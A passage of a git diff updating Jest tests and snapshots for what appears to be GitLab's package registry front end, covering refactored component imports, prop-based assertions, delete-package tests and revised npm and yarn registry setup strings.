- const registryIncludeCommand = findCodeInstructions().at(0);
+ const registryIncludeCommand = findRegistryInclude();
expect(registryIncludeCommand.exists()).toBe(true);
expect(registryIncludeCommand.props()).toMatchObject({
instruction: composerRegistryIncludeStr,
@@ -63,13 +62,13 @@ describe('ComposerInstallation', () => {
});
it('has the correct title', () => {
- expect(findRegistryIncludeTitle().text()).toBe('composer.json registry include');
+ expect(findRegistryInclude().props('label')).toBe('composer.json registry include');
});
});
describe('package include command', () => {
it('uses code_instructions', () => {
- const registryIncludeCommand = findCodeInstructions().at(1);
+ const registryIncludeCommand = findPackageInclude();
expect(registryIncludeCommand.exists()).toBe(true);
expect(registryIncludeCommand.props()).toMatchObject({
instruction: composerPackageIncludeStr,
@@ -79,7 +78,7 @@ describe('ComposerInstallation', () => {
});
it('has the correct title', () => {
- expect(findPackageIncludeTitle().text()).toBe('composer.json require package include');
+ expect(findPackageInclude().props('label')).toBe('composer.json require package include');
});
it('has the correct help text', () => {
diff --git a/spec/frontend/packages/details/components/conan_installation_spec.js b/spec/frontend/packages/details/components/conan_installation_spec.js
index 5b31e38dad5..c79d1bb50dd 100644
--- a/spec/frontend/packages/details/components/conan_installation_spec.js
+++ b/spec/frontend/packages/details/components/conan_installation_spec.js
@@ -1,7 +1,7 @@
import Vuex from 'vuex';
import { shallowMount, createLocalVue } from '@vue/test-utils';
import ConanInstallation from '~/packages/details/components/conan_installation.vue';
-import CodeInstructions from '~/packages/details/components/code_instruction.vue';
+import CodeInstructions from '~/vue_shared/components/registry/code_instruction.vue';
import { conanPackage as packageEntity } from '../../mock_data';
import { registryUrl as conanPath } from '../mock_data';
diff --git a/spec/frontend/packages/details/components/history_element_spec.js b/spec/frontend/packages/details/components/history_element_spec.js
deleted file mode 100644
index e8746fc93f5..00000000000
--- a/spec/frontend/packages/details/components/history_element_spec.js
+++ /dev/null
@@ -1,57 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import { GlIcon } from '@gitlab/ui';
-import component from '~/packages/details/components/history_element.vue';
-import TimelineEntryItem from '~/vue_shared/components/notes/timeline_entry_item.vue';
-
-describe('History Element', () => {
- let wrapper;
- const defaultProps = {
- icon: 'pencil',
- };
-
- const mountComponent = () => {
- wrapper = shallowMount(component, {
- propsData: { ...defaultProps },
- stubs: {
- TimelineEntryItem,
- },
- slots: {
- default: '<div data-testid="default-slot"></div>',
- },
- });
- };
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
- const findTimelineEntry = () => wrapper.find(TimelineEntryItem);
- const findGlIcon = () => wrapper.find(GlIcon);
- const findDefaultSlot = () => wrapper.find('[data-testid="default-slot"]');
-
- it('renders the correct markup', () => {
- mountComponent();
-
- expect(wrapper.element).toMatchSnapshot();
- });
-
- it('has a default slot', () => {
- mountComponent();
-
- expect(findDefaultSlot().exists()).toBe(true);
- });
- it('has a timeline entry', () => {
- mountComponent();
-
- expect(findTimelineEntry().exists()).toBe(true);
- });
- it('has an icon', () => {
- mountComponent();
-
- const icon = findGlIcon();
-
- expect(icon.exists()).toBe(true);
- expect(icon.attributes('name')).toBe(defaultProps.icon);
- });
-});
diff --git a/spec/frontend/packages/details/components/maven_installation_spec.js b/spec/frontend/packages/details/components/maven_installation_spec.js
index 5d0007294b6..f301a03a7f3 100644
--- a/spec/frontend/packages/details/components/maven_installation_spec.js
+++ b/spec/frontend/packages/details/components/maven_installation_spec.js
@@ -3,7 +3,7 @@ import { shallowMount, createLocalVue } from '@vue/test-utils';
import { registryUrl as mavenPath } from 'jest/packages/details/mock_data';
import { mavenPackage as packageEntity } from 'jest/packages/mock_data';
import MavenInstallation from '~/packages/details/components/maven_installation.vue';
-import CodeInstructions from '~/packages/details/components/code_instruction.vue';
+import CodeInstructions from '~/vue_shared/components/registry/code_instruction.vue';
import { TrackingActions } from '~/packages/details/constants';
const localVue = createLocalVue();
diff --git a/spec/frontend/packages/details/components/npm_installation_spec.js b/spec/frontend/packages/details/components/npm_installation_spec.js
index f47bac57a66..4223a05453c 100644
--- a/spec/frontend/packages/details/components/npm_installation_spec.js
+++ b/spec/frontend/packages/details/components/npm_installation_spec.js
@@ -3,7 +3,7 @@ import { shallowMount, createLocalVue } from '@vue/test-utils';
import { npmPackage as packageEntity } from 'jest/packages/mock_data';
import { registryUrl as nugetPath } from 'jest/packages/details/mock_data';
import NpmInstallation from '~/packages/details/components/npm_installation.vue';
-import CodeInstructions from '~/packages/details/components/code_instruction.vue';
+import CodeInstructions from '~/vue_shared/components/registry/code_instruction.vue';
import { TrackingActions } from '~/packages/details/constants';
import { npmInstallationCommand, npmSetupCommand } from '~/packages/details/store/getters';
@@ -78,7 +78,7 @@ describe('NpmInstallation', () => {
.at(2)
.props(),
).toMatchObject({
- instruction: 'echo @Test:registry=undefined >> .npmrc',
+ instruction: 'echo @Test:registry=undefined/ >> .npmrc',
multiline: false,
trackingAction: TrackingActions.COPY_NPM_SETUP_COMMAND,
});
@@ -90,7 +90,7 @@ describe('NpmInstallation', () => {
.at(3)
.props(),
).toMatchObject({
- instruction: 'echo \\"@Test:registry\\" \\"undefined\\" >> .yarnrc',
+ instruction: 'echo \\"@Test:registry\\" \\"undefined/\\" >> .yarnrc',
multiline: false,
trackingAction: TrackingActions.COPY_YARN_SETUP_COMMAND,
});
diff --git a/spec/frontend/packages/details/components/nuget_installation_spec.js b/spec/frontend/packages/details/components/nuget_installation_spec.js
index a23bf9a18a1..b381d131e94 100644
--- a/spec/frontend/packages/details/components/nuget_installation_spec.js
+++ b/spec/frontend/packages/details/components/nuget_installation_spec.js
@@ -3,7 +3,7 @@ import { shallowMount, createLocalVue } from '@vue/test-utils';
import { nugetPackage as packageEntity } from 'jest/packages/mock_data';
import { registryUrl as nugetPath } from 'jest/packages/details/mock_data';
import NugetInstallation from '~/packages/details/components/nuget_installation.vue';
-import CodeInstructions from '~/packages/details/components/code_instruction.vue';
+import CodeInstructions from '~/vue_shared/components/registry/code_instruction.vue';
import { TrackingActions } from '~/packages/details/constants';
const localVue = createLocalVue();
diff --git a/spec/frontend/packages/details/components/package_history_spec.js b/spec/frontend/packages/details/components/package_history_spec.js
index e293e119585..f745a457b0a 100644
--- a/spec/frontend/packages/details/components/package_history_spec.js
+++ b/spec/frontend/packages/details/components/package_history_spec.js
@@ -1,6 +1,7 @@
import { shallowMount } from '@vue/test-utils';
import { GlLink, GlSprintf } from '@gitlab/ui';
import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
+import HistoryItem from '~/vue_shared/components/registry/history_item.vue';
import component from '~/packages/details/components/package_history.vue';
import { mavenPackage, mockPipelineInfo } from '../../mock_data';
@@ -16,7 +17,10 @@ describe('Package History', () => {
wrapper = shallowMount(component, {
propsData: { ...defaultProps, ...props },
stubs: {
- HistoryElement: '<div data-testid="history-element"><slot></slot></div>',
+ HistoryItem: {
+ props: HistoryItem.props,
+ template: '<div data-testid="history-element"><slot></slot></div>',
+ },
GlSprintf,
},
});
diff --git a/spec/frontend/packages/details/components/package_title_spec.js b/spec/frontend/packages/details/components/package_title_spec.js
index a30dc4b8aba..d0ed78418af 100644
--- a/spec/frontend/packages/details/components/package_title_spec.js
+++ b/spec/frontend/packages/details/components/package_title_spec.js
@@ -2,6 +2,7 @@ import Vuex from 'vuex';
import { shallowMount, createLocalVue } from '@vue/test-utils';
import PackageTitle from '~/packages/details/components/package_title.vue';
import PackageTags from '~/packages/shared/components/package_tags.vue';
+import TitleArea from '~/vue_shared/components/registry/title_area.vue';
import {
conanPackage,
mavenFiles,
@@ -39,10 +40,14 @@ describe('PackageTitle', () => {
wrapper = shallowMount(PackageTitle, {
localVue,
store,
+ stubs: {
+ TitleArea,
+ },
});
+ return wrapper.vm.$nextTick();
}
- const packageIcon = () => wrapper.find('[data-testid="package-icon"]');
+ const findTitleArea = () => wrapper.find(TitleArea);
const packageType = () => wrapper.find('[data-testid="package-type"]');
const packageSize = () => wrapper.find('[data-testid="package-size"]');
const pipelineProject = () => wrapper.find('[data-testid="pipeline-project"]');
@@ -54,72 +59,74 @@ describe('PackageTitle', () => {
});
describe('renders', () => {
- it('without tags', () => {
- createComponent();
+ it('without tags', async () => {
+ await createComponent();
expect(wrapper.element).toMatchSnapshot();
});
- it('with tags', () => {
- createComponent({ packageEntity: { ...mavenPackage, tags: mockTags } });
+ it('with tags', async () => {
+ await createComponent({ packageEntity: { ...mavenPackage, tags: mockTags } });
expect(wrapper.element).toMatchSnapshot();
});
});
- describe('package icon', () => {
- const fakeSrc = 'a-fake-src';
-
- it('shows an icon when provided one from vuex', () => {
- createComponent({ icon: fakeSrc });
+ describe('package title', () => {
+ it('is correctly bound', async () => {
+ await createComponent();
- expect(packageIcon().exists()).toBe(true);
+ expect(findTitleArea().props('title')).toBe('Test package');
});
+ });
- it('has the correct src attribute', () => {
- createComponent({ icon: fakeSrc });
+ describe('package icon', () => {
+ const fakeSrc = 'a-fake-src';
+
+ it('binds an icon when provided one from vuex', async () => {
+ await createComponent({ icon: fakeSrc });
- expect(packageIcon().props('src')).toBe(fakeSrc);
+ expect(findTitleArea().props('avatar')).toBe(fakeSrc);
});
- it('does not show an icon when not provided one', () => {
- createComponent();
+ it('do not binds an icon when not provided one', async () => {
+ await createComponent();
- expect(packageIcon().exists()).toBe(false);
+ expect(findTitleArea().props('avatar')).toBe(null);
});
});
describe.each`
- packageEntity | expectedResult
+ packageEntity | text
${conanPackage} | ${'conan'}
${mavenPackage} | ${'maven'}
${npmPackage} | ${'npm'}
${nugetPackage} | ${'nuget'}
- `(`package type`, ({ packageEntity, expectedResult }) => {
+ `(`package type`, ({ packageEntity, text }) => {
beforeEach(() => createComponent({ packageEntity }));
- it(`${packageEntity.package_type} should render from Vuex getters ${expectedResult}`, () => {
- expect(packageType().text()).toBe(expectedResult);
+ it(`${packageEntity.package_type} should render from Vuex getters ${text}`, () => {
+ expect(packageType().props()).toEqual(expect.objectContaining({ text, icon: 'package' }));
});
});
describe('calculates the package size', () => {
- it('correctly calulates when there is only 1 file', () => {
- createComponent({ packageEntity: npmPackage, packageFiles: npmFiles });
+ it('correctly calculates when there is only 1 file', async () => {
+ await createComponent({ packageEntity: npmPackage, packageFiles: npmFiles });
- expect(packageSize().text()).toBe('200 bytes');
+ expect(packageSize().props()).toMatchObject({ text: '200 bytes', icon: 'disk' });
});
- it('correctly calulates when there are multiple files', () => {
- createComponent();
+ it('correctly calulates when there are multiple files', async () => {
+ await createComponent();
- expect(packageSize().text()).toBe('300 bytes');
+ expect(packageSize().props('text')).toBe('300 bytes');
});
});
describe('package tags', () => {
- it('displays the package-tags component when the package has tags', () => {
- createComponent({
+ it('displays the package-tags component when the package has tags', async () => {
+ await createComponent({
packageEntity: {
...npmPackage,
tags: mockTags,
@@ -129,40 +136,44 @@ describe('PackageTitle', () => {
expect(packageTags().exists()).toBe(true);
});
- it('does not display the package-tags component when there are no tags', () => {
- createComponent();
+ it('does not display the package-tags component when there are no tags', async () => {
+ await createComponent();
expect(packageTags().exists()).toBe(false);
});
});
describe('package ref', () => {
- it('does not display the ref if missing', () => {
- createComponent();
+ it('does not display the ref if missing', async () => {
+ await createComponent();
expect(packageRef().exists()).toBe(false);
});
- it('correctly shows the package ref if there is one', () => {
- createComponent({ packageEntity: npmPackage });
-
- expect(packageRef().contains('gl-icon-stub')).toBe(true);
- expect(packageRef().text()).toBe(npmPackage.pipeline.ref);
+ it('correctly shows the package ref if there is one', async () => {
+ await createComponent({ packageEntity: npmPackage });
+ expect(packageRef().props()).toMatchObject({
+ text: npmPackage.pipeline.ref,
+ icon: 'branch',
+ });
});
});
describe('pipeline project', () => {
- it('does not display the project if missing', () => {
- createComponent();
+ it('does not display the project if missing', async () => {
+ await createComponent();
expect(pipelineProject().exists()).toBe(false);
});
- it('correctly shows the pipeline project if there is one', () => {
- createComponent({ packageEntity: npmPackage });
+ it('correctly shows the pipeline project if there is one', async () => {
+ await createComponent({ packageEntity: npmPackage });
- expect(pipelineProject().text()).toBe(npmPackage.pipeline.project.name);
- expect(pipelineProject().attributes('href')).toBe(npmPackage.pipeline.project.web_url);
+ expect(pipelineProject().props()).toMatchObject({
+ text: npmPackage.pipeline.project.name,
+ icon: 'review-list',
+ link: npmPackage.pipeline.project.web_url,
+ });
});
});
});
diff --git a/spec/frontend/packages/details/store/actions_spec.js b/spec/frontend/packages/details/store/actions_spec.js
index 6dfb2b63f85..70f87d18bcb 100644
--- a/spec/frontend/packages/details/store/actions_spec.js
+++ b/spec/frontend/packages/details/store/actions_spec.js
@@ -1,9 +1,10 @@
import testAction from 'helpers/vuex_action_helper';
import Api from '~/api';
import { deprecatedCreateFlash as createFlash } from '~/flash';
-import fetchPackageVersions from '~/packages/details/store/actions';
+import { fetchPackageVersions, deletePackage } from '~/packages/details/store/actions';
import * as types from '~/packages/details/store/mutation_types';
import { FETCH_PACKAGE_VERSIONS_ERROR } from '~/packages/details/constants';
+import { DELETE_PACKAGE_ERROR_MESSAGE } from '~/packages/shared/constants';
import { npmPackage as packageEntity } from '../../mock_data';
jest.mock('~/flash.js');
@@ -73,4 +74,25 @@ describe('Actions Package details store', () => {
);
});
});
+
+ describe('deletePackage', () => {
+ it('should call Api.deleteProjectPackage', done => {
+ Api.deleteProjectPackage = jest.fn().mockResolvedValue();
+ testAction(deletePackage, undefined, { packageEntity }, [], [], () => {
+ expect(Api.deleteProjectPackage).toHaveBeenCalledWith(
+ packageEntity.project_id,
+ packageEntity.id,
+ );
+ done();
+ });
+ });
+ it('should create flash on API error', done => {
+ Api.deleteProjectPackage = jest.fn().mockRejectedValue();
+
+ testAction(deletePackage, undefined, { packageEntity }, [], [], () => {
+ expect(createFlash).toHaveBeenCalledWith(DELETE_PACKAGE_ERROR_MESSAGE);
+ done();
+ });
+ });
+ });
});
diff --git a/spec/frontend/packages/details/store/getters_spec.js b/spec/frontend/packages/details/store/getters_spec.js
index 307976d4124..0e95ee4cfd3 100644
--- a/spec/frontend/packages/details/store/getters_spec.js
+++ b/spec/frontend/packages/details/store/getters_spec.js
@@ -62,9 +62,9 @@ describe('Getters PackageDetails Store', () => {
const mavenSetupXmlBlock = generateMavenSetupXml();
const npmInstallStr = `npm i ${npmPackage.name}`;
- const npmSetupStr = `echo @Test:registry=${registryUrl} >> .npmrc`;
+ const npmSetupStr = `echo @Test:registry=${registryUrl}/ >> .npmrc`;
const yarnInstallStr = `yarn add ${npmPackage.name}`;
- const yarnSetupStr = `echo \\"@Test:registry\\" \\"${registryUrl}\\" >> .yarnrc`;
+ const yarnSetupStr = `echo \\"@Test:registry\\" \\"${registryUrl}/\\" >> .yarnrc`;
const nugetInstallationCommandStr = `nuget install ${nugetPackage.name} -Source "GitLab"`;
const nugetSetupCommandStr = `nuget source Add -Name "GitLab" -Source "${registryUrl}" -UserName <your_username> -Password <your_token>`;
diff --git a/spec/frontend/packages/list/components/__snapshots__/packages_list_app_spec.js.snap b/spec/frontend/packages/list/components/__snapshots__/packages_list_app_spec.js.snap
index 2b7a4c83bed..6ff9376565a 100644
--- a/spec/frontend/packages/list/components/__snapshots__/packages_list_app_spec.js.snap
+++ b/spec/frontend/packages/list/components/__snapshots__/packages_list_app_spec.js.snap
@@ -444,7 +444,7 @@ exports[`packages_list_app renders 1`] = `
</template>
<template>
<div
- class="d-flex align-self-center ml-md-auto py-1 py-md-0"
+ class="gl-display-flex gl-align-self-center gl-py-2 gl-flex-grow-1 gl-justify-content-end"
>
<package-filter-stub
class="mr-1"
diff --git a/spec/frontend/packages/list/components/packages_list_app_spec.js b/spec/frontend/packages/list/components/packages_list_app_spec.js
index 31bab3886c1..19ff4290f50 100644
--- a/spec/frontend/packages/list/components/packages_list_app_spec.js
+++ b/spec/frontend/packages/list/components/packages_list_app_spec.js
@@ -1,7 +1,14 @@
import Vuex from 'vuex';
import { shallowMount, createLocalVue } from '@vue/test-utils';
import { GlEmptyState, GlTab, GlTabs, GlSprintf, GlLink } from '@gitlab/ui';
+import * as commonUtils from '~/lib/utils/common_utils';
+import createFlash from '~/flash';
import PackageListApp from '~/packages/list/components/packages_list_app.vue';
+import { SHOW_DELETE_SUCCESS_ALERT } from '~/packages/shared/constants';
+import { DELETE_PACKAGE_SUCCESS_MESSAGE } from '~/packages/list/constants';
+
+jest.mock('~/lib/utils/common_utils');
+jest.mock('~/flash');
const localVue = createLocalVue();
localVue.use(Vuex);
@@ -145,4 +152,46 @@ describe('packages_list_app', () => {
);
});
});
+
+ describe('delete alert handling', () => {
+ const { location } = window.location;
+ const search = `?${SHOW_DELETE_SUCCESS_ALERT}=true`;
+
+ beforeEach(() => {
+ createStore('foo');
+ jest.spyOn(commonUtils, 'historyReplaceState').mockImplementation(() => {});
+ delete window.location;
+ window.location = {
+ href: `foo_bar_baz${search}`,
+ search,
+ };
+ });
+
+ afterEach(() => {
+ window.location = location;
+ });
+
+ it(`creates a flash if the query string contains ${SHOW_DELETE_SUCCESS_ALERT}`, () => {
+ mountComponent();
+
+ expect(createFlash).toHaveBeenCalledWith({
+ message: DELETE_PACKAGE_SUCCESS_MESSAGE,
+ type: 'notice',
+ });
+ });
+
+ it('calls historyReplaceState with a clean url', () => {
+ mountComponent();
+
+ expect(commonUtils.historyReplaceState).toHaveBeenCalledWith('foo_bar_baz');
+ });
+
+ it(`does nothing if the query string does not contain ${SHOW_DELETE_SUCCESS_ALERT}`, () => {
+ window.location.search = '';
+ mountComponent();
+
+ expect(createFlash).not.toHaveBeenCalled();
+ expect(commonUtils.historyReplaceState).not.toHaveBeenCalled();
+ });
+ });
});
diff --git a/spec/frontend/packages/list/components/packages_list_spec.js b/spec/frontend/packages/list/components/packages_list_spec.js
index a90d5056212..f981cc2851a 100644
--- a/spec/frontend/packages/list/components/packages_list_spec.js
+++ b/spec/frontend/packages/list/components/packages_list_spec.js
@@ -18,13 +18,12 @@ describe('packages_list', () => {
let wrapper;
let store;
- const GlSortingItem = { name: 'sorting-item-stub', template: '<div><slot></slot></div>' };
const EmptySlotStub = { name: 'empty-slot-stub', template: '<div>bar</div>' };
const findPackagesListLoader = () => wrapper.find(PackagesListLoader);
const findPackageListPagination = () => wrapper.find(GlPagination);
const findPackageListDeleteModal = () => wrapper.find(GlModal);
- const findEmptySlot = () => wrapper.find({ name: 'empty-slot-stub' });
+ const findEmptySlot = () => wrapper.find(EmptySlotStub);
const findPackagesListRow = () => wrapper.find(PackagesListRow);
const createStore = (isGroupPage, packages, isLoading) => {
@@ -67,7 +66,6 @@ describe('packages_list', () => {
stubs: {
...stubChildren(PackagesList),
GlTable,
- GlSortingItem,
GlModal,
},
...options,
diff --git a/spec/frontend/packages/list/components/packages_sort_spec.js b/spec/frontend/packages/list/components/packages_sort_spec.js
index ff3e8e19413..5c4794d8f63 100644
--- a/spec/frontend/packages/list/components/packages_sort_spec.js
+++ b/spec/frontend/packages/list/components/packages_sort_spec.js
@@ -1,5 +1,5 @@
import Vuex from 'vuex';
-import { GlSorting } from '@gitlab/ui';
+import { GlSorting, GlSortingItem } from '@gitlab/ui';
import { mount, createLocalVue } from '@vue/test-utils';
import stubChildren from 'helpers/stub_children';
import PackagesSort from '~/packages/list/components/packages_sort.vue';
@@ -13,8 +13,6 @@ describe('packages_sort', () => {
let sorting;
let sortingItems;
- const GlSortingItem = { name: 'sorting-item-stub', template: '<div><slot></slot></div>' };
-
const findPackageListSorting = () => wrapper.find(GlSorting);
const findSortingItems = () => wrapper.findAll(GlSortingItem);
diff --git a/spec/frontend/packages/list/stores/actions_spec.js b/spec/frontend/packages/list/stores/actions_spec.js
index faa629cc01f..cf205ecbac4 100644
--- a/spec/frontend/packages/list/stores/actions_spec.js
+++ b/spec/frontend/packages/list/stores/actions_spec.js
@@ -5,7 +5,8 @@ import Api from '~/api';
import { deprecatedCreateFlash as createFlash } from '~/flash';
import * as actions from '~/packages/list/stores/actions';
import * as types from '~/packages/list/stores/mutation_types';
-import { MISSING_DELETE_PATH_ERROR, DELETE_PACKAGE_ERROR_MESSAGE } from '~/packages/list/constants';
+import { MISSING_DELETE_PATH_ERROR } from '~/packages/list/constants';
+import { DELETE_PACKAGE_ERROR_MESSAGE } from '~/packages/shared/constants';
jest.mock('~/flash.js');
jest.mock('~/api.js');
diff --git a/spec/frontend/packages/mock_data.js b/spec/frontend/packages/mock_data.js
index 86205b0744c..b95d06428ff 100644
--- a/spec/frontend/packages/mock_data.js
+++ b/spec/frontend/packages/mock_data.js
@@ -30,6 +30,7 @@ export const mavenPackage = {
name: 'Test package',
package_type: 'maven',
project_path: 'foo/bar/baz',
+ projectPathName: 'foo/bar/baz',
project_id: 1,
updated_at: '2015-12-10',
version: '1.0.0',
@@ -59,6 +60,7 @@ export const npmPackage = {
name: '@Test/package',
package_type: 'npm',
project_path: 'foo/bar/baz',
+ projectPathName: 'foo/bar/baz',
project_id: 1,
updated_at: '2015-12-10',
version: '',
@@ -86,6 +88,7 @@ export const conanPackage = {
id: 3,
name: 'conan-package',
project_path: 'foo/bar/baz',
+ projectPathName: 'foo/bar/baz',
package_files: [],
package_type: 'conan',
project_id: 1,
diff --git a/spec/frontend/packages/shared/components/__snapshots__/package_list_row_spec.js.snap b/spec/frontend/packages/shared/components/__snapshots__/package_list_row_spec.js.snap
index eab8d7b67cc..6aaefed92d0 100644
--- a/spec/frontend/packages/shared/components/__snapshots__/package_list_row_spec.js.snap
+++ b/spec/frontend/packages/shared/components/__snapshots__/package_list_row_spec.js.snap
@@ -2,99 +2,143 @@
exports[`packages_list_row renders 1`] = `
<div
- class="gl-responsive-table-row"
- data-qa-selector="packages-row"
+ class="gl-display-flex gl-flex-direction-column gl-border-b-solid gl-border-t-solid gl-border-t-1 gl-border-b-1 gl-border-t-transparent gl-border-b-gray-100"
+ data-qa-selector="package_row"
>
<div
- class="table-section section-50 d-flex flex-md-column justify-content-between flex-wrap"
+ class="gl-display-flex gl-align-items-center gl-py-5"
>
- <div
- class="d-flex align-items-center mr-2"
- >
- <gl-link-stub
- class="text-dark font-weight-bold mb-md-1"
- data-qa-selector="package_link"
- href="foo"
- >
-
- Test package
-
- </gl-link-stub>
-
- <!---->
- </div>
+ <!---->
<div
- class="d-flex text-secondary text-truncate mt-md-2"
+ class="gl-display-flex gl-xs-flex-direction-column gl-justify-content-space-between gl-align-items-stretch gl-flex-fill-1"
>
- <span>
- 1.0.0
- </span>
-
- <!---->
-
<div
- class="d-flex align-items-center"
+ class="gl-display-flex gl-flex-direction-column gl-justify-content-space-between gl-xs-mb-3 gl-min-w-0 gl-flex-grow-1"
>
- <gl-icon-stub
- class="text-secondary ml-2 mr-1"
- name="review-list"
- size="16"
- />
+ <div
+ class="gl-display-flex gl-align-items-center gl-text-body gl-font-weight-bold gl-min-h-6 gl-min-w-0"
+ >
+ <div
+ class="gl-display-flex gl-align-items-center gl-mr-3 gl-min-w-0"
+ >
+ <gl-link-stub
+ class="gl-text-body gl-min-w-0"
+ data-qa-selector="package_link"
+ href="foo"
+ >
+ <gl-truncate-stub
+ position="end"
+ text="Test package"
+ />
+ </gl-link-stub>
+
+ <!---->
+ </div>
+
+ <!---->
+ </div>
- <gl-link-stub
- class="text-secondary"
- data-testid="packages-row-project"
- href="/foo/bar/baz"
+ <div
+ class="gl-display-flex gl-align-items-center gl-text-gray-500 gl-mt-1 gl-min-h-6 gl-min-w-0 gl-flex-fill-1"
>
-
- </gl-link-stub>
+ <div
+ class="gl-display-flex"
+ >
+ <span>
+ 1.0.0
+ </span>
+
+ <!---->
+
+ <div
+ class="gl-display-flex gl-align-items-center"
+ >
+ <gl-icon-stub
+ class="gl-ml-3 gl-mr-2 gl-min-w-0"
+ name="review-list"
+ size="16"
+ />
+
+ <gl-link-stub
+ class="gl-text-body gl-min-w-0"
+ data-testid="packages-row-project"
+ href="/foo/bar/baz"
+ >
+ <gl-truncate-stub
+ position="end"
+ text="foo/bar/baz"
+ />
+ </gl-link-stub>
+ </div>
+
+ <div
+ class="d-flex align-items-center"
+ data-testid="package-type"
+ >
+ <gl-icon-stub
+ class="gl-ml-3 gl-mr-2"
+ name="package"
+ size="16"
+ />
+
+ <span>
+ Maven
+ </span>
+ </div>
+ </div>
+ </div>
</div>
<div
- class="d-flex align-items-center"
- data-testid="package-type"
+ class="gl-display-flex gl-flex-direction-column gl-sm-align-items-flex-end gl-justify-content-space-between gl-text-gray-500 gl-flex-shrink-0"
>
- <gl-icon-stub
- class="text-secondary ml-2 mr-1"
- name="package"
- size="16"
- />
+ <div
+ class="gl-display-flex gl-align-items-center gl-sm-text-body gl-sm-font-weight-bold gl-min-h-6"
+ >
+ <publish-method-stub
+ packageentity="[object Object]"
+ />
+ </div>
- <span>
- Maven
- </span>
+ <div
+ class="gl-display-flex gl-align-items-center gl-mt-1 gl-min-h-6"
+ >
+ <span>
+ <gl-sprintf-stub
+ message="Created %{timestamp}"
+ />
+ </span>
+ </div>
</div>
</div>
- </div>
-
- <div
- class="table-section d-flex flex-md-column justify-content-between align-items-md-end section-40"
- >
- <publish-method-stub
- packageentity="[object Object]"
- />
<div
- class="text-secondary order-0 order-md-1 mt-md-2"
+ class="gl-w-9 gl-display-none gl-display-sm-flex gl-justify-content-end gl-pr-1"
>
- <gl-sprintf-stub
- message="Created %{timestamp}"
+ <gl-button-stub
+ aria-label="Remove package"
+ category="primary"
+ data-testid="action-delete"
+ icon="remove"
+ size="medium"
+ title="Remove package"
+ variant="danger"
/>
</div>
</div>
<div
- class="table-section section-10 d-flex justify-content-end"
+ class="gl-display-flex"
>
- <gl-button-stub
- aria-label="Remove package"
- category="primary"
- data-testid="action-delete"
- icon="remove"
- size="medium"
- title="Remove package"
- variant="danger"
+ <div
+ class="gl-w-7"
+ />
+
+ <!---->
+
+ <div
+ class="gl-w-9"
/>
</div>
</div>
diff --git a/spec/frontend/packages/shared/components/__snapshots__/publish_method_spec.js.snap b/spec/frontend/packages/shared/components/__snapshots__/publish_method_spec.js.snap
index 5ecca63d41d..9a0c52cee47 100644
--- a/spec/frontend/packages/shared/components/__snapshots__/publish_method_spec.js.snap
+++ b/spec/frontend/packages/shared/components/__snapshots__/publish_method_spec.js.snap
@@ -2,35 +2,37 @@
exports[`publish_method renders 1`] = `
<div
- class="d-flex align-items-center text-secondary order-1 order-md-0 mb-md-1"
+ class="gl-display-flex gl-align-items-center"
>
<gl-icon-stub
- class="mr-1"
+ class="gl-mr-2"
name="git-merge"
size="16"
/>
- <strong
- class="mr-1 text-dark"
+ <span
+ class="gl-mr-2"
+ data-testid="pipeline-ref"
>
branch-name
- </strong>
+ </span>
<gl-icon-stub
- class="mr-1"
+ class="gl-mr-2"
name="commit"
size="16"
/>
<gl-link-stub
- class="mr-1"
+ class="gl-mr-2"
+ data-testid="pipeline-sha"
href="../commit/sha-baz"
>
sha-baz
</gl-link-stub>
<clipboard-button-stub
- cssclass="border-0 text-secondary py-0 px-1"
+ cssclass="gl-border-0 gl-py-0 gl-px-2"
text="sha-baz"
title="Copy commit SHA"
tooltipplacement="top"
diff --git a/spec/frontend/packages/shared/components/package_list_row_spec.js b/spec/frontend/packages/shared/components/package_list_row_spec.js
index c0ae972d519..f4eabf7bb67 100644
--- a/spec/frontend/packages/shared/components/package_list_row_spec.js
+++ b/spec/frontend/packages/shared/components/package_list_row_spec.js
@@ -1,6 +1,7 @@
-import { mount, shallowMount } from '@vue/test-utils';
+import { shallowMount } from '@vue/test-utils';
import PackagesListRow from '~/packages/shared/components/package_list_row.vue';
import PackageTags from '~/packages/shared/components/package_tags.vue';
+import ListItem from '~/vue_shared/components/registry/list_item.vue';
import { packageList } from '../../mock_data';
describe('packages_list_row', () => {
@@ -17,14 +18,12 @@ describe('packages_list_row', () => {
const mountComponent = ({
isGroup = false,
packageEntity = packageWithoutTags,
- shallow = true,
showPackageType = true,
disableDelete = false,
} = {}) => {
- const mountFunc = shallow ? shallowMount : mount;
-
- wrapper = mountFunc(PackagesListRow, {
+ wrapper = shallowMount(PackagesListRow, {
store,
+ stubs: { ListItem },
propsData: {
packageLink: 'foo',
packageEntity,
@@ -92,15 +91,14 @@ describe('packages_list_row', () => {
});
describe('delete event', () => {
- beforeEach(() => mountComponent({ packageEntity: packageWithoutTags, shallow: false }));
+ beforeEach(() => mountComponent({ packageEntity: packageWithoutTags }));
- it('emits the packageToDelete event when the delete button is clicked', () => {
- findDeleteButton().trigger('click');
+ it('emits the packageToDelete event when the delete button is clicked', async () => {
+ findDeleteButton().vm.$emit('click');
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.emitted('packageToDelete')).toBeTruthy();
- expect(wrapper.emitted('packageToDelete')[0]).toEqual([packageWithoutTags]);
- });
+ await wrapper.vm.$nextTick();
+ expect(wrapper.emitted('packageToDelete')).toBeTruthy();
+ expect(wrapper.emitted('packageToDelete')[0]).toEqual([packageWithoutTags]);
});
});
});
diff --git a/spec/frontend/packages/shared/components/packages_list_loader_spec.js b/spec/frontend/packages/shared/components/packages_list_loader_spec.js
index c8c2e2a4ba4..115a3a7095d 100644
--- a/spec/frontend/packages/shared/components/packages_list_loader_spec.js
+++ b/spec/frontend/packages/shared/components/packages_list_loader_spec.js
@@ -12,8 +12,8 @@ describe('PackagesListLoader', () => {
});
};
- const getShapes = () => wrapper.vm.desktopShapes;
- const findSquareButton = () => wrapper.find({ ref: 'button-loader' });
+ const findDesktopShapes = () => wrapper.find('[data-testid="desktop-loader"]');
+ const findMobileShapes = () => wrapper.find('[data-testid="mobile-loader"]');
beforeEach(createComponent);
@@ -22,21 +22,30 @@ describe('PackagesListLoader', () => {
wrapper = null;
});
- describe('when used for projects', () => {
- it('should return 5 rects with last one being a square', () => {
- expect(getShapes()).toHaveLength(5);
- expect(findSquareButton().exists()).toBe(true);
+ describe('desktop loader', () => {
+ it('produces the right loader', () => {
